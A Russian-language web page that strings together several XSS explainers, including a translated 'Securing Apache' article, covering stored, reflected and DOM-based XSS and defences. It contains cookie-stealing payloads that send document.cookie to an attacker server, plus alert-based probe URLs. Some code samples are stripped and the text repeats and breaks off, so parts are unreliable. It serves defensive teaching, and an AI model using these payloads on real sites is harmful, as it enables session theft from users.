Easy Hack: Как добыть данные через Cross Site Scripting Inclusion. XSS уязвимость — что это? Примеры XSS уязвимостей

Оригинал: Securing Apache, Part 2: XSS Injections
Автор: Arpit Bajpai
Дата публикации: 1 Сентября 2010 г.
Перевод: А.Панин
Дата перевода: 5 Января 2013 г.

В предыдущей статье серии мы начали обсуждение аспектов безопасной эксплуатации веб-сервера Apache с рассмотрения его архитектуры. После этого мы начали рассмотрение дефектов веб-приложений, начав с SQL-инъекций. В данной статье мы перейдем к рассмотрению следующей категории дефектов, связанных с инъекциями: межсайтового скриптинга, известного под аббревиатурой "XSS". Повторю свои слова о том, что ни я, ни журнал LFY не ставим своей целью научить читателей атаковать сервера; эта информация приводится с целью предоставления необходимых знаний для защиты инфраструктуры.

Уязвимости приложений к атакам на основе межсайтового скриптнга (XSS) удерживают вторую позицию в рейтинге десяти самых опасных рисков безопасности веб-приложений от консорциума OWASP, находясь после уязвимостей к атакам на основе SQL-инъекций. (Кстати, первая буква аббревиатуры "X" используется для того, чтобы не путать понятие межсайтового скриптинга с понятием таблиц каскадных стилей "CSS" .) Консорциум, занимающийся проблемами безопасности, сообщает о том, что доля уязвимостей XSS составляет около 39 процентов от всех уязвимостей веб-приложений.

Что понимается под межсайтовым скриптингом?

Консорциум OWASP определяет XSS как дефект, при котором приложение включает в состав страницы, отправляемой пользователю, переданные им данные без их предварительной проверки или форматирования. Атаки на основе XSS на самом деле являются атаками на основе инъекций кода, затрагивающими процесс интерпретации отправленной веб-приложением страницы в пользовательском браузере.

Эти атаки в большинстве случаев проводятся в рамках систем онлайн-сообщений, блогов и пользовательских конференций (в совокупности называемых "системами онлайн-сообщений" в статье), в которых сообщения хранятся на постоянной основе. При их создании используются технологии HTML, JavaScript, VBScript, ActiveX, Flash и другие технологии сценариев на стороне клиентов.

Целью атак на основе межсайтового скриптинга является похищение пользовательских аутентификационных данных из кук и любой другой важной информации, которая участвует в процессе аутентификации клиента на веб-сайте. С похищенным (действительным) идентификатором пользователя взломщик может представиться пользователем и похитить его данные.

В отличие от большинства атак, в которых участвуют две стороны (взломщик и веб-сайт или взломщик и жертва/клиент), атака на основе межсайтового скриптинга предполагает участие трех сторон: взломщика, жертвы/клиента и веб-сайта.

В ходе атаки на основе межсайтового скриптинга действительному пользователю предоставляется ссылка, расположенная в системе онлайн-сообщений и ведущая на безопасный на первый взгляд сайт, но на самом деле содержащая закодированный сценарий, который выполняется как только пользователь переходит по ней. Этот на первый взгляд безопасный веб-сайт может быть (и является в большинстве случаев) клоном просматриваемого пользователем сайта для осуществления фишинг-атаки; в этом случае он запросит имя пользователя и пароль. В другом случае этот веб-сайт может представлять собой страницу с благодарностью, с помощью которой производится незаметное похищение кук пользователя в фоновом режиме.

Фишинг является методом атаки в Интернет, при которой пользователь вводит важную информацию (такую, как имя и пароль)на созданном злоумышленником веб-сайте, который практически полностью копирует внешний вид веб-сайта, которому доверяет пользователь. Пользователь направляется на такие сайты по ссылкам из массово рассылаемых сообщений посредством электронной почты, системы мгновенных сообщений, и.т.д. Большинство таких атак может быть проигнорировано с помощью тщательной проверки ссылок и отказа перехода по сомнительным ссылкам; следует также проверять строку URL (адресную строку) браузера чтобы убедиться в том, что вы работаете с доверенным сайтом перед вводом идентификационных данных.
Принцип действия атак, основанных на межсайтовом скриптинге

Код эксплоита для атак на основе межсайтового скриптинга обычно (но не всегда) разрабатывается с использованием HTML/JavaScript для исполнения в браузере жертвы атаки. Сервер используется только для хранения вредоносного кода. Взломщик использует только надежные веб-сайты в качестве площадок для проведения атаки.

Типичные атаки на основе межсайтового скриптинга являются результатом недоработок в веб-приложениях на стороне сервера и заключаются в недостаточной обработке введенных пользователем данных в плане удаления управляющих символов HTML. Если взломщикам удастся вставить произвольный HTML-код, они могут контролировать процесс исполнения страницы с правами, заданными для сайта. Часто встречающимися местами, предоставляющими взломщикам возможность для проведения атак являются страницы с "подтверждением" или "выводом результатов" (примером являются поисковые машины, выводящие пользовательский запрос) или страницы ошибок для форм, помогающие пользователям, заполняя поля формы корректно введенными данными.

Следующая простейшая PHP-страница уязвима для XSS-атак!

Как только осуществляется доступ на страницу, содержащую этот код, переменная, переданная при помощи метода GET (строки запроса) без изменений выводится на страницу, генерируемую при помощи PHP. Если вы передадите корректные данные (например, строку "Arpit Bajpai") в качестве аргумента, URL будет выглядеть следующим образом: http://localhost/hello.php?name=Arpit%20Bajpai (с учетом того, что вы используете сервер, установленный на вашем компьютере, что стоит сделать для тестирования этих примеров). Вывод этого запроса безопасен и показан на Рисунке 1.

Рисунок 1: Безопасная передача данных

Теперь проведем небольшое вмешательство в URL, изменив его следующим образом: http://localhost/hello.php?name=Hacked .

Результат показан на Рисунке 2. Он все еще кажется безвредным, но тот факт, что вводимые данные не проверяются PHP-сценарием перед отправкой их браузеру пользователя говорит о том, что есть возможность осуществить вставку более опасного кода в состав уязвимой страницы.


Рисунок 2: Необработанный вывод

Как и в большинстве случаев, главной целью XSS-атаки является похищение кук с идентификационными данными пользователей. Ниже показан классический пример попытки организации атаки путем размещения вредоносного JavaScript-кода в системе онлайн-сообщений и сбора данных из пользовательских кук. document.location="http://attackerserver/cookie.php?c="+document.cookie

Когда жертвы проходят по ссылке, содержащей этот вредоносный код, они перемещаются на домашнюю страницу, но данные из их кук передаются специальному сценарию на языке PHP, cookie.php , предназначенному для сборки кук и расположенному на сервере злоумышленника. Код стандартного сценария для сборки кук должен быть аналогичен представленному ниже:

В ходе работы этого сценария в файле cookies.html сохраняются данные, включающие в себя IP-адрес жертвы, дату и время получения данных из кук и адрес страницы, с которой был осуществлен переход по вредоносной ссылке, указывающей на сценарий cookie.php .

Воспользовавшись этой информацией, взломщик впоследствии может перейти на сайт системы онлайн-собщений и использовать полученные данные из кук, что позволит ему представиться пользователем, ставшим жертвой атаки.

На данном этапе сообразительные пользователи могут отнестись с подозрением к переходу на домашнюю страницу или заподозрить неладное, основываясь на том, что данный переход не свойственен для корректной работы веб-приложения. Для атак в отношении таких пользователей взломщики в большинстве случаев предпочитают использовать в сценариях тэг IFRAME аналогичным показанному ниже способом:

Когда жертва переходит по ссылке с приведенным кодом, расположенной в сообщении, не происходит ничего необычного - правда при этом данные из кук передаются сценарию cookie.php на сервере взломщика. Это принцип действия классических атак, основанных на межсайтовом скриптинге.

Типы XSS-уязвимостей

Большинство XSS-уязвимостей можно разделить на три категории на основании того, как взломщики обходят обработку вредоносного кода веб-приложением. Эти категории:

  • Постоянно существующие или хранимые уязвимости
  • Непостоянно существующие или отраженные уязвимости
  • Уязвимости модели DOM или локальные уязвимости

Давайте рассмотрим каждую категорию по очереди.

Постоянно существующие или хранимые уязвимости

Постоянно существующие XSS-уязвимости являются наиболее мощными и эффективными из всех. Они присутствуют в том случае, если данные, передаваемые веб-приложению пользователем вначале помещаются на постоянное хранение на сервере (в базу данных, файловую систему или другое хранилище), а затем выводятся пользователям в виде веб-страницы без должной обработки.

Сценарий атаки на систему онлайн-сообщений, приведенный ниже, является классическим примером подобной ситуации. Схема атаки, основанной на постоянно существующей уязвимости, показана на Рисунке 3.


Рисунок 3: Схема атаки с использованием постоянно существующей уязвимости

В начале атаки взломщик внедряет вредоносный сценарий с помощью веб-формы ввода данных. После этого внедренный код сохраняется в базе данных сервера. Когда любой пользователь открывает страницу, вредоносный код исполняется. Любой пользователь, который переходит по ссылке (или всего лишь просматривает сообщение в случае атаки с использованием тэга IFRAME) становится жертвой атаки, так как вредоносный код исполняется в его браузере и отправляет его аутентификационные данные взломщику.

Это тип атаки очень эффективен, так как взломщик может атаковать ряд пользователей сервера - всех тех, кто переходит по ссылке или просматривает сообщение.

Непостоянно существующие или отраженные уязвимости

Непостоянно существующие XSS-уязвимости являются на данный момент наиболее эксплуатируемыми. Этот тип XSS-уязвимостей чаще всего возникает из-за того, что сценарии в ходе генерации документов в формате HTML выводят пользовательские данные без дополнительной обработки.

Например, взломщик находит XSS-уязвимость в веб-приложении, заключающуюся в том, что сценарий выводит отправленный запрос вместе с результатом его выполнения. Обычно используемый URL сайта при осуществлении запроса выглядит следующим образом: http://www.example.com/search.php?query=products . В нормальных условиях в ответ на этот запрос выводится список доступных продуктов. Как только взломщики находят уязвимость, они могут отправить модифицированную ссылку (с измененными значениями известных переменных) жертве атаки, преследуя цель похищения аутентификационных данных: http://www.example.com/search.php?query=alert(document.cookie) .

Переход по этой ссылке приведет к выводу браузером жертвы атаки окна сообщения с данными из кук. Приведенный выше пример безопасен: взломщик может причинить гораздо больший ущерб, похитив пароли, изменив адрес домашней страницы или переместив жертву атаки на другой веб-сайт, используя модифицированный код JavaScript.

Схема атаки, основанной на отраженной уязвимости показана на Рисунке 4.


Рисунок 4: Пошаговая иллюстрация процесса атаки, основанной на отраженной уязвимости

В наши дни встраивание в код ссылки таких объемных сценариев может привлечь внимание потенциальных жертв атаки, поэтому взломщики просто преобразовывают их в шестнадцатеричный формат с помощью множества доступных конвертеров, таких, как представленный по ссылке http://code.cside.com/3rdpage/us/url/converter.html . Более того, если вредоносный сценарий достаточно велик, используются сервисы для сокращения длины URL, такие, как Tiny URL, после чего создается короткий URL, указывающий на длинный.

Уязвимости модели DOM или локальные уязвимости

Уязвимости модели DOM существуют в HTML-коде сайта (в статических сценариях) и могут эксплуатироваться непостоянно. В качестве простого примера уязвимости модели DOM можно привести статический сценарий, встроенный в страницу, который при исполнении использует функцию DOM, такую, как document.write для вывода значения переменной pos.

Единственным отличием уязвимости модели DOM от других типов является то, что сервер не возвращает результатов запроса; наоборот, происходит локальная обработка данных при помощи функций DOM и вредоносный сценарий исполняется с такими же правами, что и веб-браузер на машине жертвы атаки. Представьте ситуацию, при которой уязвимый сайт содержит следующую страницу (с названием, например, http://www.example.com/welcome.html): var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Welcome to our site ...

В нормальных условиях на данной странице будет выведено приветствие для пользователя при переходе по следующему URL: http://www.example.com/welcome.html?name=Joe .

Однако, небольшое вмешательство в URL приводит к отображению данных из кук пользователя в окне предупреждения браузера в том случае, если он перейдет по следующей ссылке: http://www.example.com/welcome.html?name=alert(document.cookie) .

При открытии данной ссылки браузер пользователя отправляет HTTP-запрос сайту с именем www.example.com . В ответ он получает статическую HTML-страницу с представленным выше содержанием. После этого браузер жертвы начинает преобразование HTML в DOM. В данном случае код ссылается на переменную document.URL , поэтому часть строки запроса сохраняется при разборе HTML. После этого происходит исполнение в контексте страницы вредоносного JavaScript-кода, переданного в составе URL, что и позволяет провести XSS-атаку.

Вы должны понимать, что запрос в полном объеме достигает сервера (в строке HTTP-запроса), поэтому данный тип XSS-атаки, как и любой другой, может быть идентифицирован - но взломщики предусматривают даже эту возможность, формируя запрос в следующей форме: http://www.example.com/welcome.html#name=alert(document.cookie) .

Следует учитывать, что в этом случае используется символ решетки (#); с помощью него браузеру сообщается о том, что данные после этого символа являются фрагментом и не являются частью запроса. Браузеры IE (6.0) и Mozilla не отправляют фрагмент серверу, поэтому в случае использования данных браузеров сервер получит только следующую часть запроса: http://www.example.com/welcome.html , а остальные данные будут скрыты.

Тенденции в области XSS-атак

XSS -атаки с использованием мета-информации (miXSS)

Это новый тип XSS-уязвимостей, появившийся недавно и использующий уязвимости утилит для сетевого администрирования. Эту уязвимость можно обнаружить в коде серверов, использующих корректные пользовательские запросы для сбора данных и вывода их пользователю. Атаки на основе межсайтового скриптинга проводятся при использовании этих данных. При этом взломщики могут получить информацию о утилитах сетевого администрирования. Веб-сайты, которые позволяют провести разрешение DNS и веб-сайты, которые проверяют записи SPF наиболее подвержены miXSS-атакам. Для того, чтобы узнать больше данном типе атак, обратитесь к списку дополнительных ресурсов в конце статьи.

XSS Shell

XSS Shell является инструментом для установления XSS-канала между жертвой атаки и взломщиком, причем взломщик может управлять браузером при помощи команд. Обмен данными является двухсторонним.

XSS Tunnel

Это программа с открытым исходным кодом на.NET, распространяемая под лицензией GPL и являющаяся обычным HTTP-прокси, работающим в системе взломщика. Она позволяет передавать HTTP-трафик через туннель в виде XSS-канала и теоретически может использоваться вместе с любым приложением, работающим с HTTP-прокси.

DDoS-атаки при помощи XSS

Тенденции развития XSS-атак указывают на то, что взломщики используют уязвимые сайты в качестве начального шага при проведении распределенных атак отказа в обслуживании. Они предлагают пользователям скачать и установить дополнения для браузера. Когда пользователь переходит по ссылке, вместе с дополнением для браузера в его систему (в большинстве случаев) в фоновом режиме устанавливается вредоносное ПО в виде червя или бота. Это ПО может предоставить взломщику неограниченные права в пользовательской системе, поэтому взломщик может использовать систему для проведения атак отказа в обслуживании или для построения ботнета.

Противодействие XSS-атакам

Атаки на основе межсайтового скриптинга потенциально опасны для большинства веб-серверов и браузеров. Взломщики постоянно изобретают все новые типы атак, но следующие мероприятия могут помочь вам в защитите системы от этих атак.

Мероприятия для клиентов или пользователей

Следует серьезно и тщательно рассматривать все сообщения электронной почты, содержащие длинные, объемные и подозрительные ссылки. Не стоит переходить по этим ссылкам, даже если они ведут на известные сайты, которым вы доверяете. Во многих подобных сообщениях применяются различные хитрости для того, чтобы убедить вас пройти по ссылке. В некоторых сообщениях содержатся предложения об улучшении вашего материального состояния и независимости; другие сообщения содержат предупреждения о том, что вы можете потерять свою учетную запись (действительную) на веб-сайте, если "немедленно не подтвердите информацию о вашем имени пользователя и пароле". Серьезно подумайте перед переходом по таким ссылкам, особенно с учетом той информации, которую вы почерпнули из данной статьи. Очевидно, что точно такие же меры предосторожности следует предпринимать по отношению к сообщениям в системах онлайн-сообщений и социальных сетях.

Современные версии браузера Mozilla Firefox достаточно безопасны. Например, Firefox автоматически кодирует символы < и > (в последовательности %3C и %3E соответственно) в параметре document.URL в случае, когда URL не введен напрямую в адресную строку. Таким образом, данный браузер не уязвим к атакам, проводимым с использованием модели DOM. Для повышения безопасности работы браузера следует также установить дополнения (расширения), такие, как NoScript, FlashBlock и панель инструментов Netcraft.

Вы также можете попробовать браузер Google Chrome, имеющий встроенную защиту от XSS-атак.

Если у вас появилась сомнительная ссылка и вы хотите перейти по ней, при этом не используя браузер Firefox с расширением NoScript, вам необходимо отключить JavaScript, Java (и Active X если вы работаете в ОС Windows) перед переходом. Также вы можете перейти по ссылке, вручную вписав ее в адресную строку браузера.

Если при создания ссылки использовался сервис по сокращению длины URL, такой, как "tiny", "tinyurl", "bit.ly", "is.gd", "shorturl", "snipurl", и.т.д., будьте осторожны. Вы можете даже установить второй браузер для посещения "ненадежных" сайтов; не входите на доверенные или важные сайты с помощью этого браузера, а используйте его только для переходов по подозрительным ссылкам. Если с помощью URL действительно будет проведена атака, и даже в случае ее успешного завершения, у взломщика не будет практически никакой важной информации из кук.

Для разработчиков

Лучшим способом проверки вашего веб-сайта на уязвимости является запуск тестирования безопасности локальной копии используемого веб-приложения. Лучшим свободным проектом для этой цели является Nikto .

Следующим важным действием является фильтрация всех подозрительных данных, основанная на HTML-контексте (body, attribute, JavaScript, CSS или URL), в котором они будут размещены. Разработчикам следует организовать данную функцию в своих приложениях. Обратитесь к шпаргалке по предотвращению XSS-атак от OWASP для получения подробной информации о техниках фильтрации данных.

Фильтрация вывода сценариев также позволяет нейтрализовать XSS-уязвимости, предотвращая передачу специально сформированных последовательностей пользователю. При фильтрации динамически формируемых страниц выбирайте множество символов, использование которых безопасно, вместо того, чтобы пытаться исключить множество символов, использование которых может быть небезопасным. Первый вариант предпочтительнее, так как обычно не известно, существуют ли другие комбинации символов или последовательностей символов, позволяющие эксплуатировать другие уязвимости.

Проверяйте все заголовки, куки, строки запросов, формы, скрытые поля и другие возможные параметры на наличие таких тэгов, как , , , и . Также не выводите никаких введенных значений без фильтрации.

Не храните пароли или другие данные в куках без шифрования или с применением нестойкого алгоритма шифрования. Простое хеширование пароля с использованием алгоритма MD5 не является безопасным, поскольку длина хэша составляет всего 16 байт и его расшифровка возможна при помощи метода перебора вариантов.

Если это возможно и осуществимо, данные аутентификации в куках должны быть ассоциированы с IP-адресом клиента. Обнаружение идентичных данных кук, отправленных с другого IP-адреса, должно восприниматься как попытка проведения атаки.

Если это возможно, следует устранить возможность использования единой системы аутентификации и активировать систему повторных проверок паролей для предотвращения атак перехвата сессии. Атака против сайта с единой системой аутентификации имеет большие шансы остаться незамеченной для пользователя.

Использование бесплатных хостингов является основным этапом при реализации взломщиком схемы атаки. Обслуживающий персонал сайтов бесплатного хостинга должен быть более бдительным в отношении того, кто использует их сервисы, и должен блокировать подозрительные IP-адреса. Также в том случае, если на хостинге используются сценарии для сбора данных из кук, должен проводиться мониторинг для выявления подобных действий.

Куки, отправленные по протоколу HTTPS недоступны сценариям при помощи свойства document.cookie , поэтому постарайтесь отправлять куки только по протоколу HTTPS. Также постарайтесь использовать для передачи форм метод POST вместо GET.

Инструменты
  • Dotdefender является инструментом для защиты веб-приложений, блокирующим атаки, выражающиеся в модификации логики HTTP-запросов. Он превосходно защищает от атак на основе SQL-инъекций, межсайтового скриптинга и вмешательства в заголовки. Обратитесь к документации, расположенной .
  • KeepNI немедленно оповещает вас в случае некорректной работы вашего веб-сайта. Данный инструмент рассчитан на постоянную корректную работу вашего веб-сайта. Обратитесь к документации, расположенной .
  • Экраны для веб-приложений позволяют проводить проверки на наличие вводимых некорректных данных и модификации параметров, предназначенных только для чтения, а так же блокируют запросы и осуществляют фильтрацию параметров. Их самым большим достоинством является то, что они позволяют защитить устаревшие небезопасные приложения.

Поскольку XSS-атаки требуют участия пользователя, их количество напрямую зависит от крайней внимательности пользователей. Для получения более подробной информации о XSS-атаках и методах защиты от них, не забудьте рассмотреть раздел дополнительных ресурсов ниже. Мы рассотрим другие опасные типы атак на веб-приложения и Apache в следующей статье. Между тем, вы можете оставить ваши вопросы и конструктивную критику в разделе комментариев ниже.

Всегда помните: нужно знать все о взломе, не не заниматься им.

Дополнительные ресурсы:

  • Один из лучших ресурсов с информацией о XSS-атаках xssed.com
  • Книга "Syngress XSS Attacks Cross Site Scripting Exploits and Defense by Jeremiah Grossman, Robert "Rsnake" Hansen and others", обязательна для чтения тем, кто действительно заинтересовался данным типом атак

Межсайтовый скриптинг (сокращенно XSS) - широко распространенная уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код.

Обычно для эксплуатации подобной уязвимости требуется определенное взаимодействие с пользователем: либо его заманивают на зараженный сайт при помощи социальной инженерии, либо просто ждут, пока тот сам посетит данный сайт. Поэтому разработчики часто не воспринимают всерьез XSS-уязвимости.

Но если их не устранять, это может нести серьезную угрозу безопасности.

Представим, что мы находимся в панели администратора WordPress, добавляем новый контент. Если мы используем для этого уязвимый к XSS плагин, он может заставить браузер создать нового администратора, видоизменить контент и выполнить другие вредоносные действия. Межсайтовый скриптинг предоставляет злоумышленнику практически полный контроль над самым важным программным обеспечением в наши дни - браузером.

XSS: Уязвимость для инъекции

Любой веб-сайт или приложение имеет несколько мест ввода данных -полей формы до самого URL. Простейший пример вводимых данных - когда мы вписываем имя пользователя и пароль в форму:

Наше имя будет храниться в базе данных сайта для последующего взаимодействия с нами. Наверняка, когда вы проходили авторизацию на каком-либо сайте, вы видели персональное приветствие в стиле «Добро пожаловать, Илья».

Именно для таких целей имена пользователей хранятся в базе данных.

Инъекцией называется процедура, когда вместо имени или пароля вводится специальная последовательность символов, заставляющая сервер или браузер отреагировать определенным, нужным злоумышленнику образом.

Межсайтовым скриптингом называется инъекция, внедряющая код, который будет выполнять действия в браузере от имени веб-сайта. Это может происходить как с уведомлением пользователя, так и в фоновом режиме, без его ведома.

Традиционные XSS-атаки: Отраженные (непостоянные).

Отраженная XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.

Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки.

Хранимые (постоянные).

Хранимые XSS возможны, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате.

Уязвимости, вызванные кодом на стороне клиента (JavaScript, Visual Basic, Flash и т. д.): Также известные как DOM-модели: Отраженные (непостоянные).

То же самое, что и в случае с серверной стороной, только в этом случае атака возможна благодаря тому, что код обрабатывается браузером.

Хранимые (постоянные).

Аналогичны хранимым XSS на стороне сервера, только в этом случае вредоносная составляющая сохраняется на клиентской стороне, используя хранилище браузера.

Примеры XSS уязвимостей.

Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

Http://www.site.com/page.php?var=alert("xss");

Существует два типа XSS уязвимостей - пассивная и активная.

Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

document.getElementsByTagName("form").submit();

Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

Кража Cookies

Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

Var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.

Кража данных из форм

Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

DDoS-атака (распределенная атака типа «отказ в обслуживании»)

XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

В чем опасность XSS?

Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости.

Об этом мы поговорим в следующей части статьи, посвященной XSS.

XSS (межсайтовый скриптинг) - одна из разновидностей атак на веб-системы, которая подразумевает внедрение вредоносного кода на определенную страницу сайта и взаимодействие этого кода с удаленным сервером злоумышленников при открытии страницы пользователем.

Термин с английского расшифровывается как Cross-Site Scripting, но при этом получил аббревиатуру XSS, чтобы не было путаницы с CSS (каскадные таблицы стилей).

Как работает межсайтовый скриптинг

Основная цель межсайтового скриптинга - кража cookies пользователей при помощи встроенного на сервере скрипта с дальнейшей выборкой необходимых данных и использованием их для последующих атак и взломов. Злоумышленник осуществляет атаку пользователей не напрямую, а с использованием уязвимостей веб-сайта, который посещают жертвы, и внедряет специальный JavaScript. В браузере у пользователей этот код отображается как единая часть сайта. При этом посещаемый ресурс по факту является соучастником XSS-атаки.

Если сравнивать с SQL-инъекциями, то XSS безопасен для сервера, но несет угрозу для пользователей зараженного ресурса или страницы. Однако, если к злоумышленнику попадут cookies администратора, можно получить доступ к панели управления сайтом и его содержимому.

Методика атаки через XSS

Запуск вредоносного кода JavaScript возможен только в браузере жертвы, поэтому сайт, на который зайдет пользователь, должен иметь уязвимость к XSS. Для совершения атаки злоумышленник изначально проверяет ресурсы на наличие уязвимостей через XSS, используя автоматизированные скрипты или ручной режим поиска. Обычно это стандартные формы, которые могут отправлять и принимать запросы (комментарии, поиск, обратная связь).

Проводится полный сбор страниц с формами ввода, и каждая сканируется на наличие уязвимостей. Например, у нас есть страница «Поиск» на сайте. Для проверки уязвимости XSS достаточно ввести запрос:

Если на экране появится уведомление, значит вы обнаружили брешь в безопасности. В противном случае система отобразит вам страницу с результатами поиска. Основные популярные CMS уже давно лишились подобных проблем, но из-за возможности расширения функционала за счет модулей и плагинов, создаваемых сторонними разработчиками, шансы на использование уязвимостей XSS возрастают в разы, особенно в Joomla, DLE, Bitrix, Wordpress. Чаще всего XSS-уязвимости проверяются в браузере Internet Explorer.

Еще один возможный вариант поиска - использование страниц, которые обрабатывают GET-запросы. Допустим, у нас есть ссылка вида: http://site.ru/catalog?p=8

В адресной строке вместо идентификатора (8) добавляем скрипт - ">alert("cookie: "+document.cookie) , в результате чего получаем ссылку такого вида: http://site.ru/catalog?p= ">alert("cookie: "+document.cookie) .

Если страница имеет уязвимости XSS, на экране появится уведомление такого же плана, как и в первом случае.

Для поиска «дыр» на сайте существует огромное количество готовых скриптов и запросов, и если ни один из них не подходит, значит ресурс надежно защищен от подобных атак.

Общая классификация XSS

Четкой классификации для межсайтового скриптинга не существует, но экспертами по всему миру выделено три основных типа.

Хранимые XSS (постоянные) . Один из самых опасных типов уязвимостей, так как позволяет злоумышленнику получить доступ к серверу и уже с него управлять вредоносным кодом (удалять, модифицировать). Каждый раз при обращении к сайту выполняется заранее загруженный код, работающий в автоматическом режиме. В основном таким уязвимостям подвержены форумы, порталы, блоги, где присутствует возможность комментирования в HTML без ограничений. Вредоносные скрипты с легкостью могут быть встроены как в текст, так и в картинки, рисунки.

Отраженные XSS (непостоянные) . В этом случае вредоносная строчка выступает в роли запроса жертвы к зараженному веб-сайту. Работает этот принцип по следующей схеме:

  • Злоумышленник заранее создает URL-ссылку, которая будет содержать вредоносный код и отправляет его своей жертве.
  • Она направляет этот URL-запрос на сайт (переходит по ссылке).
  • Сайт автоматически берет данные из вредоносной строки и подставляет в виде модифицированного URL-ответа жертве.
  • В итоге в браузере у жертвы выполняется вредоносный скрипт, который и содержится в ответе, а злоумышленник получает все cookies этого пользователя.
  • DOM-модели . В этом варианте возможно использование как хранимых XSS, так и отраженных. Суть заключается в следующем:

  • Злоумышленник создает URL-адрес, который заранее содержит вредоносный код, и отправляет его по электронной почте или любым другим способом пользователю.
  • Человек переходит по этой ссылке, зараженный сайт принимает запрос, исключая вредоносную строку.
  • На странице у пользователя выполняется сценарий, в результате чего загружается вредоносный скрипт и злоумышленник получает cookies.
  • Виды XSS по способу взаимодействия

    Так как основная цель злоумышленника - запустить вредоносный скрипт на компьютере жертвы, существует еще и два основных типа XSS-атак по способу взаимодействия.

    Пассивные . От жертвы требуется определенное действие, чтобы вызвать обработчик событий и запустить вредоносный скрипт в установленной форме. Для этого используется социальная инженерия, например отправка электронного письма с призывом перейти по ссылке и нажать на определенную область на сайте. Как только пользователь наведет на нужный объект и кликнет по нему, запустится вредоносный скрипт. Если же жертва бездействует, код не будет активирован.

    Активные . Злоумышленнику не нужно заманивать жертву по специальным ссылкам, так как код встраивается в базах данных или в каком-нибудь исполняемом файле на сервере. От пользователя не требуется никакой активности. У форм ввода, как правило, установлен специальный обработчик событий, автоматически активирующийся при попадании на эту страничку. В итоге все пользователи, перешедшие по этой ссылке, станут жертвами злоумышленника.

    Как проверить сайт на наличие уязвимостей XSS и защитить его

    Для быстрой проверки сайта на наличие уязвимостей XSS можно воспользоваться специализированными сервисами, которые в автоматическом режиме проведут сканирование страницы. В обязательном порядке нужно проверять все URL, где возможна отправка данных со стороны пользователя (формы комментариев, обратная связь, поиск). В качестве примера можете использовать http://xss-scanner.com, но не стоит ограничиваться лишь одним инструментом.

    Подобные сервисы не дают полной гарантии успеха, поэтому рекомендуем проверять найденные страницы в ручном режиме и обязательно исключить все опасные спецсимволы, заменив их безопасными. Речь идет о скобках < и >, в которых и прописываются все зарезервированные языком html-запросы и теги.

    Например, для быстрой фильтрации и автоматической замены спецсимволов < и > вы можете использовать следующий код на сайте:

    $filter = array("");

    $_GET["q"]=str_replace ($filter, "|", $_GET["q"]).

    Несколько советов по предотвращению использования XSS на вашем сайте:

  • Если на вашем сайте включен пользовательский ввод, должно выполняться кодирование.
  • Если кодирование невозможно или неуместно в некоторых ситуациях, заменяйте его или дополняйте валидацией.
  • Безопасная обработка данных должна выполняться в коде не только на стороне вашего web-сервера, но и на стороне пользователя (клиента).
  • Если используете популярные CMS, например Wordpress, Bitrix, Joomla, регулярно обновляйте версии движка и всех установленных модулей и плагинов. По умолчанию большинство самых распространенных систем для управления сайтов защищены от использования XSS, а вот сторонние плагины из непроверенных источников могут содержать уязвимости.
  • Что такое XSS и как от него защитится все уже давно знают, поэтому буду краток. XSS это возможность злоумышленника определенным образом (ссылку на возможные варианты смотрите в конце статьи) интегрировать в страницу сайта-жертвы скрипт, который будет выполнен при ее посещении.

    Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

    http://www.site.com/page.php?var=<script>alert("xss");

    Как-то не очень страшно:) Чем же действительно может быть опасной данная уязвимость?

    Пассивная и активная

    Существует два типа XSS уязвимостей - пассивная и активная.

